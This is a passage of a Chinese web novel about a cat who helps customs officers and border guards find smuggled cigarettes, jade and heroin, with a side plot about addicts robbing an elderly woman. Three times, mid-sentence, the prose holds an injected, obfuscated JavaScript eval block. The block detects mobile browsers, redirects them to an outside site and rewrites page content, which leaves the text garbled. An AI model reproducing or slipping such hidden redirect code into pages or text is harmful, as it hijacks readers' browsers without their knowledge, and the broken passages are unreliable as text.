阿五绷着尾巴恶狠狠地盯着刘东,等着吧,等会可有你受的! 刘东完全没在意阿五,扫了眼大王脖子上的绳索,冷笑几声,不过是被拴着的一条畜生而已。 他吊儿郎当地走到女人身边,一把揽住了她的肩膀:“查,让他们查,我们又没做亏心事。” 玉荷瞧了眼证件上的名字,与她同姓:“玉思?” 玉思心不在焉地应了声,将刘东的手从肩膀拂下。 刘东脸色不渝,玉思瞄他一眼:“热不热呀,还揽着我。” 刘东嘴角一挑,笑嘻嘻地蹭着玉思,低声道:“我反正不热,就想挨着你。” 玉荷心里翻了个白眼,咬了咬牙,心平气和地继续看证件。 此时李志行已打开车门,在驾驶座下找到了带有引擎盖图标的拉手,拉动后听见车前方的岩飞道:“开了。” 玉思见状,一下扑过去按住了引擎盖,头上的墨镜因她大幅度的动作掉在地上,沾满了灰尘:“干什么!为什么不经过我同意动我的车!” 潘祥目睹了这一幕,脸色好转:“肯定有东西!” 这刘东可气死他了! 冯明也是一肚子气,狠狠点头道:“绝对的。” 玉荷一边解释,一边试图将女子拉开。 刘东双手插兜慢慢走上前,一副胸有成竹的模样对玉思招招手:“过来,懂事点,怎么能妨碍海关的人工作呢。” 玉思一愣,瞪了眼刘东,心不甘情不愿地离开了引擎盖。 岩飞趁此时间将安全锁扣打开,“唰”地抬起引擎盖。 众人纷纷探头。 只见弯弯曲曲的管道线路缝隙内,插满了一只只被透明塑料袋裹着的黄白色蹄状物。 岩飞拿起了一只蹄状物仔细端详。 潘祥的目光在一瞬间失去了光彩。 耿思远和程建树俱是一愣,不约而同道:“牛蹄?” 冯明梗着脖子没敢去瞧潘祥,心中疯狂思索着该怎么安慰他,张了张口苍白道:“这个牛蹄吧,看起来是生的,也是不可以带的,得没收,阿五其实也没闻错。” 潘祥虚弱地微笑:“哈哈,说的倒也是。” 阿五却转了头,牛在她的家乡可是稀罕物。这么多牛蹄,都是用来吃的吗。 刘东满脸得意:“后备箱放不下了,放前面不犯法吧?难道你们海关还管我们带牛蹄?” 玉思松了口气,却还是紧紧盯着岩飞的一举一动。 玉荷严肃道:“管。根据《华夏进出境动植物检疫法》,牛蹄等动物产品未经过检疫,是不可以入境的,我们海关需要没收。” “哈?”刘东傻了眼,霎时间脸色大变,连珠炮似地吼道:“没收?我就带了几只牛蹄!你别跟我说什么法不法的,我不懂!这些牛蹄就是我们要吃的,为什么不能带!我要去告你们!” 李志行挡在玉荷身前:“这瞧着起码也有十几只,都是你们自己吃吗?夸张了点吧。” 围观群众也指指点点道:“还放在发动机旁边,等你带回去,岂不是臭了。” 刘东不爽地瞪了一圈看热闹的人:“管你们屁事?还有你,你特么管老子吃几只,我冻起来吃,一天吃一只,吃一年你也管不着!” 玉思见岩飞正将牛蹄一个个取出来,急得满头是汗,拉着刘东对玉荷道:“算了,不让带就不让带。我们不过关了,回去总行了吧!” 岩飞一门心思地掏牛蹄,将表面的一层拿完,他的手摸到了不同于牛蹄质感的物品,拿起来一瞧,居然是一条烟。 “嚯!牛蹄原来是障眼法哦!” 围观群众目瞪口呆。 潘祥揉了揉眼,立刻将阿五从肩头抱了下去,低声道:“天啦,阿五,难道你闻到的是烟味,不是牛蹄味?” 阿五昂起小脑袋:“喵~” 对啊。 虽然说烟之间的味道也有不同,但是最主要的味道却是差不多的,她一闻就闻出来了。 潘祥感觉自己又活了。 刘东和玉思都冲到了岩飞身边阻止他继续行动,却被冯明和李志行一个箭步冲上去拦住了。 “请你们不要妨碍公务。” 玉思急得直跺脚,瞧岩飞拿出了一条又一条的烟,忍不住抱怨身侧的刘东:“都是你,我真是傻,居然相信你的鬼话。” 刘东勃然大怒,伸手扯过玉思的衣领,扬起手:“不要脸的,你还怪我?” 这手还没挥下去,刘东就感觉身后传来了一股巨力。 玉荷拉着玉思往侧边一让。 刘东随即面朝下扑倒在了地上,吃了满满一口灰,他憋着满腔怒火转头一瞧,一只硕大的狗头正与他面对面,胸膛正被对方踩着。 刘东吓地咽了咽口水:“救……” “汪!” 巨大的狗叫声将刘东震得抖如筛糠,森寒的利齿张开,一股腥味扑面而来,他赶忙闭上了眼和嘴。 脸色苍白的玉思被玉荷护在了身后。 玉思愣愣地瞧着地上被狗压住的刘东,半天才反应过来发生了什么,顿时哭嚎道:“分手!刘东,我们回去就退婚!你连条狗都不如,狗都知道不能打女人,你特么就是个混蛋!” “你还说什么海关一定想不到你这个绝妙的主意!呸,我呸!妙你个鬼,你当人家是傻子吗?” 玉荷心里颇为赞同,拍着玉思的背轻轻安抚,眼角却瞄着狼犬,身体略有些僵硬。 虽然此刻瞧它无比顺眼,但生理上她还是很怕这只狼犬。 周围的部分群众也面带惧色。 潘祥赶忙召回了大王:“大王,回来。” 大王又“呜呜”地威胁了一番刘东,这才趾高气昂地回到了潘祥身边,还被潘祥奖励了一口零食,快活地摇了摇尾巴。 岩飞和李志行上前,将地上软成一摊泥的刘东控制住。 随后他们不仅在发动机周围找到了数量不少的烟,还从中搜出了几块拳头大的玉石。 冯明和李志行一同检查了小轿车的其他地方,都没有再发现其余隐藏的物品。 “很准嘛,跳了引擎盖,还真是只在发动机里找到了违禁品哎。”冯明悄悄地和李志行感叹,“志行,你觉得是巧合吗?” 李志行沉吟:“我觉得不是,它为什么就跳红车的,不跳别的车?再巧也没这么巧。” 潘祥此时扬眉吐气地摸了把重回他肩头的阿五:“干得好!” 冯明也回到了潘祥身边,打量着阿五,啧啧称奇:“没想到你们基地还有能闻出烟味的猫啊,这个技能不错,烟草局应该也很喜欢。对了,它是只能嗅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15364147|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出真烟味吗,能不能嗅出假烟的味道呢?” 潘祥对上冯明求知若渴的目光,喜悦地笑容一僵,呐呐道:“其实你这些问题,我也想知道。” 冯明:“……你不是它训导员吗?” 潘祥竖起一根手指,正色道:“一天,不,半天,我才当了它半天训导员。” 阿五却疑惑地想,烟还有假的?假的什么味啊,口岸还有什么不能带的,能不能都让她闻闻? 耿思远和程建树也在用全新的目光打量着阿五,它不会是刚才闻到了烟味,现在就实践了吧? “哎呀!”潘祥忽然一脸懊丧地翻了翻身上的包,“应该给阿五一点奖励的。但阿五不喜欢玩毛巾卷,又不喜欢大王的零食,难道我现在要去景洛江捉蚂蚱给它吗?” 大王听见潘祥提起自己的名字,抬起脑袋:“嗷呜?” 潘祥拍拍大王的脖子:“没说你嗷,乖,你的表现也超级棒,好狗。” 大王愉快地蹭着潘祥的手。 冯明不明所以:“阿五喜欢吃蚂蚱?有眼光,我们这的油炸蚂蚱可香了!中午给它点一盘,我请客。” 油炸蚂蚱?好奢侈的做法,阿五伸舌舔舔鼻子,她想吃。 “不可以。”耿思远一听赶忙阻止,“多谢啊,但阿五不能吃。” 涉事的玉思、刘东和车都被岩飞等人带走,群众们看了场热闹,都心满意足地回到了车里,国门通道又恢复了秩序。 “主任,可以让他们别放盐,吃两只应该没关系的。”潘祥侧头瞧了眼阿五踩在他肩头的两只小爪垫,有些心软地小声嘀咕。 耿思远无奈:“知道了,中午再说吧。” 他瞧了眼盯着往来行人车辆的阿五,心想晚点得再给边所打个电话问问,怎么不告诉他阿五还有搜烟这项技能呢? 也不知道是怎么训练的,他们基地也许可以参考一下。耿思远在国门桥上来回踱步,想着此前被淘汰掉的那批犬,心里还是很肉痛。 或许这些犬嗅毒品不行,别的行呢?等回了基地,和大家伙探讨一下这个问题。 岩飞和李志行一去久久不回,耿主任这状态又很明显不能打扰。潘祥三人只好带着两只犬一只猫站在原地等,期间冯明还问了一些缉毒犬的工作问题。 而阿五则趁此时机关注着经过的行人和车辆,试图再接再厉,拯救一下她的倒计时。 方才她趁机去车上的后视镜里瞧过了,倒计时果然增加了一天。 可惜直到岩飞满头大汗地跑回来,阿五也没能再嗅到藏大量烟或者牛蹄的车、人了。 岩飞将他们送回办公楼,还善解人意地让耿思远等人将大王、贝莉和阿五也带回了宿舍,担心它们在车里等着太热,反正那间宿舍暂时也没人住。 耿思远三人连忙道谢。 “不用,它们也是我们的同事嘛,况且阿五刚才还帮了我们的忙。”岩飞笑笑,“中午一块吃饭,千万不要推辞。” 时间一晃来到了中午,耿思远盘腿坐在床上,拿着本子一直在记录。 阿五躺在上铺呼呼大睡,贝莉将脑袋搁在大王的背上,两只犬占满了两张宿舍床之间逼仄的过道。 两位训导员歪倒在床上,也睡得人事不知。 岩飞没有来,倒是冯明提着几盒饭来了,说是科长临时有事,去了山里,晚上不一定能赶回来,他就先跟着耿思远他们行动。 阿五吃到了没有加盐的油炸蚂蚱,酥脆的外壳,鲜嫩的内里,吃得阿五直“喵呜”。 不知道所长和教导员他们吃过这个吗,可惜她不会说话,否则一定要告诉所长油炸蚂蚱有多好吃。 连大王和贝莉尝过,都发出了“嘤嘤呜呜”还没吃够,想再来一盘的声音。 “不可以了,只能尝一点。” 程建树顶着两犬一猫渴望的目光,无情地将零星几只剩余的蚂蚱平均分给了耿思远、潘祥和冯明。 冯明端着饭,和潘祥一块蹲在宿舍门口。 耿思远端着饭半天没动筷,而是对冯明道:“冯明,你能帮我们和边检站沟通一下吗?我们想下午就过去。” 冯明毫不犹豫地爽快答应了:“应该没问题的,我去联系。他们之前也问过,能不能让你们早点过去,好互相熟悉一下。” 阿五蹲坐在下铺舔爪子洗脸,闻言愉快地甩甩尾巴。 早点去好,她爱干活! 31.第 31 章 待众人吃完午饭,冯明去打电话,耿思远等人忙活着准备东西。 宿舍顶部的风扇“嘎吱”“嘎吱”旋转,房内闷热的空气为之一散。 阿五侧躺在宿舍床之间的桌子上,尾巴轻轻晃动。她眯眼望着窗外的大太阳,忽然想到了边星澄,也不知道她们三人是否到了春东。 她是如何知道吊坠的秘密,又是为何能瞧见吊坠上的倒计时呢? 春东市。 浓密的梧桐树叶将刺目灼热的阳光挡得严严实实。 树荫下的人行道上,一位身穿蓝色印花土布,一头银发梳得整整齐齐的老奶奶,一手拄着拐杖,一手被年幼的孙子扶着,正脚步急促地往华金派出所赶。 一辆车头车身均有凹陷、车身泛黄的微型面包车与他们擦身而过,先一步驶入了派出所大门。 车辆还没停稳,车门已“唰拉”一下从内移开。 所长赵国生跳下地转过身,对车内吼道:“下来下来!” 五个形销骨立,被铐住双手的年轻男子萎靡地从车上慢慢挪下了地。 两位民警带他们前往留置室。 闻声而出的边星澄和向晓被赵国生瞧见:“你们两个怎么来了?” 他又指指向晓:“不是让你明天再正式来上班吗?啧,算了,来都来了,换衣服下午就上岗。” 向晓满脸兴奋:“是!” 边星澄道:“所长,给你们带了点翠云的水果,还有刚买的饵块和粑粑,午饭没吃吧?” “没吃!连早饭都没吃,饿死了!”从面包车上下来的几位民警饿虎扑食般争相跑进了办公室。 “翠云?你哥……” 赵国生还没说完,赶进派出所的老奶奶瞧见了这串有气无力的年轻男人,登时怒发冲冠,举着拐杖往前冲:“就是你们!” “哎!奶奶!别激动!” 守在嫌疑人身后的民警赶忙架住了老奶奶的拐杖。 赵国生眉头拧起,大步走过去扶住了对方:“桂奶奶?” 桂奶奶的一头银发已然乱了,气得浑身颤抖,连拐杖都拿不住了。 向晓一个箭步冲上前,一手撑着桂奶奶的背,一手抚着她的胸膛:“奶奶别急,啊别急!慢慢呼吸。” 赵国生指着那群年轻人喝道:“还不快点把他们弄进去!” “不,不准进。”桂奶奶挣扎着喊,“钱,还钱!” 原本面无表情的年轻男人听见这话,忽地冷冷一笑,露出几颗发黑发黄的牙:“那么一点钱就够买半包粉,早用完了!” 民警气得胸膛起伏,将他们往房间里推:“还有脸讲,滚进去!” “哈哈,老太婆你去屎堆里捡吧!” 此话一出,众人纷纷咬住了后槽牙。 从报案区出来围观的一位大哥将手里皮包一摔,冲向年轻人:“我他妈打死你!” “哎!”几位民警架住了大哥,“不能打架!” “快滚进去!” 砰—— 留置室的大门被关上了。 “畜生!畜生啊!”桂奶奶面上的泪被他身旁发着抖的小男孩轻轻抹去,“苍天啊苍天,这日子还怎么过啊。” 她伸出颤巍巍的手揽住孙子,垂泪控诉:“他们不仅抢光了我存给小望上学的钱,还把我养的几只鸡、鸭全部杀掉,扔到我床上,在上头又拉屎又拉尿。” “我和小望洗了一早上都没洗干净,我那个家还是家吗?啊?” 桂奶奶嘶哑的声音在安静的派出所大院回荡。 边星澄捏紧了拳头,心里堵得慌。 现场的民警们沉默着不知该如何安慰。 被架住的大哥忍不住也跟着控诉:“我也真的是过不下去了!录像厅这个月被偷了三回,三回啊!” 他竖着三根手指,愤恨地道:“前段时间我更是被那些瘾君子拿刀抵着脖子威胁!这种人抓了送到戒毒所,没几个月就出来了,还扬言要来报复我!我都吓得不敢开门!” “你们警察在报纸上不是一天到晚的,吹什么毒品堵源截流吗?到底堵去哪里了,我看满大街都是毒品和吸毒的人。” 大哥越说越恼火,脑瓜子气得嗡嗡响,险些站不稳。 有些警察闻言满脸不忿,哪有满大街都是,张嘴就想反驳,被赵国生狠狠瞪了回去。 最终桂奶奶和他的孙子,以及大哥都被劝进了办公室。 边星澄在门外拦住了赵国生:“赵叔,耽误您两分钟行吗?” “您有没有认识的训犬员啊,我想在家里养只狗,打算学一点技巧。” “哦?”赵国生略一思忖,“有,晚上我给他打电话问问。而且春东警犬基地最近有一批淘汰的犬,你是烈士遗属,也许能申请一只。” 这可真是意外之喜,边星澄诚恳道谢:“多谢你赵叔。” 她又赶忙将兜里的一沓五块十块的纸币一股脑塞给赵国生:“赵叔,这个钱就以派出所的名义给桂奶奶吧,没多少。我走了啊,记得吃午饭别又胃痛了。” 边星澄说完,跑得飞快。 赵国生一笑,低头瞧着手里的钱,摇摇头:“和安民一模一样。” 边星澄跑出一段路才停下来。 她们三人轮流开了一天一夜的车,到了春东后,林天月将车开去清洗保养,顺便加满油。毕竟借的朋友的车,不能就这么满身灰的送回去。 边星澄和向晓就索性收拾了一些水果送来华金派出所,没想到刚来就听到了如此丧心病狂的事。 向晓留在了派出所,而边星澄刚回到小区门口,就碰到了向晓的父亲向宜华。 她瞧着胖乎乎的向宜华,想到了现在的活蹦乱跳的向晓,心头一痛。前世被设计沾上毒品的向宜华瘦得皮包骨,比今日在派出所看到的那群小年轻还要颓废。 毒品,能让一个人变成六亲不认,杀母杀子的魔鬼。 “星澄?”向宜华拎着两条鱼,往她身后瞧了瞧,没看见向晓有点失望,“听晓晓奶奶说你们回来了,晚上烧酸辣鱼吃?” 向宜华在小区门口开了个小饭馆,手艺还行,生意不好不坏。 边星澄点点头,他们两家是邻居,常在一块吃饭:“晓晓去派出所报道了,估摸着晚上下班才能回来。对了向叔,我想领养一只犬,但我这九月份就要去上班了,放在家里又怕它太拘束,白天能不能放您店里啊?” “没问题,我给它做饭吃!”向宜华想着女孩子也就养只哈巴狗之类的小狗,爽快答应,“一定养好。” 边星澄笑着道谢,这一世哥哥没有当阿五的训导员,向晓做了警察,她也留在了春东当老师,一切都已经和前世不同了。 勐西市,景洛镇。 “耿主任,已经和边检站的站长沟通好了,今天他们在西兴设卡,我们直接去西兴查缉点就行,带队的是二组组长斯若虹。” 冯明回到宿舍,和耿思远汇报了情况。 耿思远道:“行,走吧。” 阿五跳到地上,一马当先地下了楼。 微风卷着热浪从地上翻涌而来,阿五顶着一身皮毛,当场热得吐了舌头,她身后的大王和贝莉也如出一辙。 众人上了车,大约半小时后,到了西兴查缉点。 查缉点位于公路边,这条公路是掸国通关景洛后,前往勐西首府车咏市的咽喉要道。 公路的一侧是山,另一侧是两间占地挺大的铁皮屋子。 几位穿绿色衣服的战士站在屋檐下,手举“停”字小红牌。 冯明停下车,走到了战士身边敬礼:“你好,我是景洛海关调查科的冯明。” 年轻战士听见这名字,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378614|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见车上下来两只大犬,恍然大悟:“哦,我知道了,你们是些乐缉毒犬基地的,稍等。” 年轻战士跑走了。 虽然所长他们也是绿色衣服,不过和这些人身上的又有所不同呢,阿五好奇地打量。 不多时,从前方的一辆大货车前转出了一位短发齐肩的女子。 她走到冯明跟前,帽子下的眼神明亮,动作干脆利落:“你好,我是斯若虹。” “斯组长你好,我是耿思远。”耿思远将证件递给斯若虹,又把身后的两人两犬一猫介绍了一番。 斯若虹查看完证件,交还给耿思远,诧异地盯着阿五:“之前站里没说还有猫啊?” 阿五正满眼震撼地瞧着斯若虹,女子也能在官府当差? 先前阿五在街上看到许多女子开店当伙计,倒也不觉得稀奇,但现在她惊呆了。 “临时加的,阿五也是缉毒猫。”耿思远道,“但阿五没接受过正规训练,主要还是大王和贝莉进行缉毒工作。” 斯若虹了解了情况,先引导他们将车停在了查缉点内。 随后她询问道:“耿主任,你们现在需要先带犬熟悉一下场地吗?工作流程我们再沟通一下?” 耿思远迅速进入工作状态。 待两方人沟通完毕,潘祥和程建树带着大王和贝莉,跟着斯若虹指派的战士在这间查缉点周围转了转。 耿思远也带着阿五一起跟着瞧。 阿五在这些人中还发现了另外两位女子,和斯若虹一样,留着齐肩短发,衣着与其余人并无不同,连干的活也一样。 汗水早已浸透了他们的衣服,衣服和帽子干了又湿,出现了一道道白色痕迹。 随后潘祥和程建树与大王和贝莉玩了一会毛巾卷的游戏,让它们进入状态。 耿思远瞅了眼阿五,跳过了这个环节。 此时一辆大货车恰好驶近了边检站,被战士举牌拦停。 大货车司机从驾驶室跳下来,熟练地将证件递给了举牌的两位战士。 潘祥则适时引导大王绕着车辆嗅闻。 车辆旁温度很高,车油味、泥土味和芒果味等等各种味道交织在一起。 耿思远带着阿五跟在他们身后,斯若虹也带着二组剩余的战士一同围观。 阿五稍微瞧了会,也学着大王嗅闻。但在不同的地方,花的时间比大王久。 毕竟轮胎就抵五六个阿五高,大王轻轻松松地就能闻到,阿五却得仰着脖子闻半天。 不过到了车厢里,阿五相比大王行动更灵活些。 耿思远完全没有干涉阿五的行为,他发现阿五的自我学习能力极强,不如静观其变。 五分钟不到,大王就对整辆大货车完成了检查。斯若虹身后的战士们瞪大了双眼,有些怀疑。 司机津津有味地瞧着这一场面,与边检战士搭话:“我开了五六年货车,过了这么多次检查站,头一次瞧见用狗的,哪个想到的,真聪明。” 他完全忽视了阿五,认为那是在开玩笑。 边检战士经过盘问,没从司机身上发现任何破绽。 待大王检查完,他们也随之上手,按照以往的流程检查了一番,大约半个小时后放行了车辆。 期间大王还嗅闻了其余路过的小轿车、三轮车和摩托车等等。 斯若虹走向耿思远,满脸振奋:“用缉毒犬的速度确实很快,谢谢你们,合作愉快。” “合作愉快。” 阿五此刻正在回想潘祥着重引导大王检查的几个区域,以及战士们检查的地方。 想来水箱、轮胎和车门等等,都是□□的好地点。还有货物,要是她来藏,一定会将毒品埋进芒果深处。 不远处,一辆卧铺车徐徐靠近。 阿五喝完水,打起了精神,目光炯炯。 32.第 32 章 卧铺车门缓缓打开,斯若虹带着两位战士登了车。 另一组战士从屋内拿了梯子,在车辆旁候着,他们需要爬到车顶检查乘客的行李。 大王瘫在不远处,已喝了潘祥给它准备的水,热得“呼哧呼哧”直喘气。站里的几个小战士征得斯若虹的同意后,还抬了只电扇给大王扇风。 而程建树牵着贝莉站在车头前方,接替了大王的工作。 耿思远瞧着虽然热得张嘴吐舌、却精神尚佳的阿五,又看了下手表上的时间,在本子上默默记录。 连续工作半小时后需补充30ml左右水份,休息十分钟后,初步目测可继续投入工作。 耿思远琢磨,一般来说缉毒犬工作20-30分钟后也要休息相应长的时间,才能再次工作,阿五倒是不用这么久,是因为体型更小更耐热吗? 不一会,车上陆陆续续有人下了车,聚集在查缉点的顶棚下躲避阳光。 几位小战士守在乘客周围,注视着他们的一举一动。 阿五主动走到了车门旁,车厢内混合的怪异气味飘过了她的鼻尖。 这味道基本都融合在一起了,一时半会之间也不好嗅闻,还是等人下完了,散散再说。 她转头看向程建树,难怪他带着贝莉没有要上车的意思,应当是要先检查车辆外围,最后再进车里。 下了车的乘客们有的发呆,有的四处瞧,还有的聚集在一块聊天。 阿五扫过人群,他们有男有女,年纪也有大有小。 阿五忍不住想,这个世界瞧着真的特别自由和开放,人们似乎想和谁一起就一起,想去哪就去哪。 “瞧见没,除了车上那个头头,下面都还有女边防呢。” “看到了,难怪这个查缉点又有狗又有猫的。女的就是不务正业,浪费时间。” 两道低声却满含不屑的男声飘入了阿五的耳朵。 阿五不可置信地瞧了眼贝莉身边的程建树和自己身边的耿思远。 他们这一猫两犬关女边防什么事啊! 耿思远忽然被阿五龇牙瞪了,不明所以地挠挠头,它是发现什么问题了在做示警吗?怎么似乎有点炸毛。 “你是嫌她们长得黑不溜秋,没你卧铺旁边那对姐妹花漂亮吧嘿嘿。” “咳。那对姐妹花就是太文静太胆小了点,说话声音像蚊子。” 两人笑着。 阿五的目光在人群中逡巡。 她瞧了眼还在慢吞吞下车的乘客,仗着自己是只猫体型小,索性钻入了人群中。 耿思远一愣,也跟着走了进去。 “咦,有猫哎?” 乘客们低下头,好奇地瞧着阿五在他们之间穿行嗅闻。 声音的方向来自角落。 阿五一边嗅闻乘客们身上是否沾了毒品的味道,一边寻找那两个男人和他们口中的姐妹。 他们应该是差不多时间下的车。 不一会工夫,阿五就锁定了角落里的两个干瘦男人。距离他们不远处,只有一对结伴的女子。 此时,卧铺客车内部已经清空。 程建树下达了指令,就跟在了贝莉身后,贝莉绕着卧铺车外侧和车底嗅闻了一圈。 众人的目光被一人一犬吸引。 腰间别着传呼机的干瘦男人皱眉,从人群的缝隙间望着这一幕,语气不悦:“真是胡闹,好好一个查缉点,弄得跟马戏团一样。” 另一个腰间别着串钥匙的男人,一边津津有味地瞧着,一边附和道:“就是说嘛。” 马戏团?听上去不是好词。阿五悄悄摸到他们身后嗅了嗅,没什么特别的味道,就是特别臭。 阿五深深瞧了他们两眼,就离开了。 先干正事,待会再回来。 耿思远发现了阿五的异常行为,就也特别注意了下这两个男人。 斯若虹查验完司机的证件下了车,留了几位战士在车厢内。 程建树对斯若虹道:“车体没问题,可以先去车顶检查行李箱。” 斯若虹应了声“好”,随后战士将梯子搬到卧铺车旁架好,两位战士扶着,斯若虹干脆利落地上了车顶,接应贝莉。 程建树引导贝莉来到了梯子边,他伸手确认了下梯子的状态,随后下达了指令:“贝莉,上。” 贝莉矫健地上了梯子,程建树在下方时刻关注着贝莉的情况。 现场众人傻傻地望着这一幕。 “哇塞,还有杂技看啊?” “我都不敢爬上去,那么高。” “不过这是在干什么?” 现场人生鼎沸。 可阿五却停住了。 耿思远也停了下来,不知道阿五是发现了情况,还是被现场的声音影响了。 阿五仔细嗅闻,确认了自己的判断。没错,她确确实实闻到了毒品的味道,是四号。 她往前走了两步,抬起头。 只见散发着浓郁毒品味道的两人均穿着长及脚面的直筒裙子,一人着黄色,一人着红色,长发披肩。 眼下他们正肩并肩挨在一起,双手捂住下半张脸,抬头望着车顶,完全没注意脚下有一只猫。 阿五困惑地歪着头,不信邪地再次嗅了嗅。 怎么闻着是男子,瞧着却是女子呢? 算了,也不太重要。 阿五绕着他们走了一圈,红裙男子低下头扫了眼阿五,不在意地挪开了眼。他将注意力放在了身旁紧张的黄裙男子身上,示以疑惑的目光。 黄裙男子僵硬地摇摇头。 红裙男子皱眉,但也没说话。 阿五静静地坐在了他们两身后,侧头瞧耿思远。 明白我的意思吗? 耿思远面无表情。 阿五:“……” 他是懂了还是没懂? 不过随后耿思远就若无其事地溜达出了人群,找到了一位战士,侧头对他耳语了几句。 看起来他是懂了。 阿五满意起身,抬爪扑棱了鼻子,继续在人群中穿行。 这种时候基本没人会来关注她,所有人都仰着脖子,望着车顶上对行李箱嗅来嗅去的贝莉。 “边防同志,这狗是在干什么?” 终于有人忍不住朝边防战士问出了这个问题。 斯若虹闻声向下探头:“你好同志,这是我们的缉毒犬,可以闻到毒品的味道。” 人群哗然。 斯若虹居高临下地扫视过人群,将众人的反应尽收眼底。 “汪!汪!” 兴奋的犬吠声响起,贝莉对着一只行李箱又挠又拍。 车下的人们顿时双眼放光,讨论的声音更大了。 “这是闻到了?” “哇,真的假的啊!” “让我瞧瞧,是谁的箱子啊?” 众人踮着脚发现还是瞧不见,便纷纷后退。 一时间人挤人,还有不少人被踩到了脚发出痛呼。 战士们赶紧上前维持秩序。 阿五灵活地在人群中穿梭,倒是苦了跟着阿五的耿思远,被撞了好几回。 确认完最后一排人的情况后,阿五绕回了那两个干瘦男人和穿裙子男人的角落。 不出意外的,她又听到了两个男人的高谈阔论。 “还缉毒犬,笑死人了。” “现在的边检怎么无能到这种地步了?还要靠狗?” 不远处,听见这话的边防战士对着两人的背影怒目而视。 因刚才的躁动,人群挨得比较近,听见这话的其中一位乘客回头瞧了眼他们:“嘴上积积德哦。” 干瘦男人闻言道:“我和朋友讲话,不碍着你事吧?” 那位乘客微微一笑:“我也和朋友讲话。” 附近的人又转头瞧起了这桩热闹。 可身上藏了毒品的那对穿裙男人却完全没有回头。 车厢顶,斯若虹拎着一只玫红色的布面行李箱,单手下了扶梯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393659|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “下来了下来了!” 人们又一股脑涌上了前。 干瘦男人和穿裙男人身边陡然空出了一大块。 “哎呀看不到了,什么箱子啊?” “玫红色的!” “拉杆箱!” “是谁的啊?” “不知道啊,完全没注意。” 阿五本还想着,那箱子必然就是穿裙男人带的了。只是他们又在身上□□品,又在箱子藏,真是怪贪心的。 紧接着阿五就瞧见黄裙男人浑身一抖,仓促低下了头。 他们身后的干瘦男人见状一怔,两人对视一眼,又环视了一圈周围。除了一只猫,没人盯着他们。 于是这两人不动声色地靠近了那对姐妹。 没有挤上前的人零零散散地留在原地。 干瘦男人和穿裙男人倒也不算显眼。 阿五歪歪头,随之抬头盯着耿思远,迷惑地道:“喵?” 他们想干嘛? 耿思远用余光注意着前方嫌疑人的情况,蹲下身:“怎么了?” 阿五甩甩尾巴,有千言万语想问,但张口只有一个“喵”。 耿主任为什么读不懂猫语呢? 阿五谴责地瞄了眼耿思远,想起了边家兄妹,她的喵语他们俩就能读懂。只是还没来得及多想,她突然转过头,瞪大了眼睛。 耿思远见阿五一副震惊的模样,也赶忙转头。 传呼机男人居然将手搭上了红裙男人的肩膀,还将头靠了过去,一副亲昵的样子。 阿五张大了嘴,对男人的行为感到不耻,但思及他们搂的是不仅是男人,还是毒贩,心情真是复杂难言。 耿思远和身边的战士对视一眼,思量再三没敢往前走,怕打草惊蛇。 他们低声说着话,阿五赶忙竖起耳朵细听。 传呼机男人:“想要我们保密,要有点代价哦。” 红裙男人细声细气:“什么意思?” 阿五的尾巴绷直了,这声音听起来也像女子!这毒贩二人是有什么特殊癖好吗? 难道打扮成女子,能更好地□□? 钥匙串男人搂着黄裙男人的腰,嘻嘻笑着:“还装傻呢。” 传呼机男人胸有成竹:“就是,这样就没意思了吧?” 两个穿裙男人同时沉默了。 干瘦男人倒也不着急,洋洋得意地搂紧了身边人,反正两个弱女子也翻不出浪来。 因没有人认领行李箱,战士只好询问了司机。 可司机挠着头,满脸茫然:“行李是车站同事抬上去的,我没参与,完全不知道啊。” 人们用怀疑的目光互相扫视,人人自危,现场一时间落针可闻。 程建树和贝莉没有在剩下的行李中发现问题,就下了梯子。 贝莉不仅上梯子快,下梯子也很稳,一瞧平常就没少练,潘祥在不远处牵着大王一脸赞叹。 斯若虹只好道:“那我们就让缉毒犬来闻。” 她提高了声音:“请乘客们配合缉毒犬检查,非常感谢。” “它不会咬我们吧?” “我有点害怕哦。” “边防同志,我愿意配合检查,先来闻我!”有人主动走了出来。 斯若虹诚恳道谢。 程建树带着贝莉上前,有战士趁机对斯若虹耳语了几句。 斯若虹瞧着贝莉点点头,表示知道了。 “贝莉,嗅。” 贝莉嗅了嗅这位身先士卒的男士,没有任何反应。 程建树正色道:“谢谢您配合。” 男子本来还有点紧张,霎时放松笑道:“不用谢,也没什么特别的嘛!大家不要怕,早点配合边防同志整完,早点走嘛。” “也是哦。” 大部分人都不再抗拒。 然而程建树带着贝莉没闻几个人,人群后产生了骚乱。 “边防同志!快别闻了,找到箱子的主人了!” 33.第 33 章 “放我们走,否则他们俩就死。” 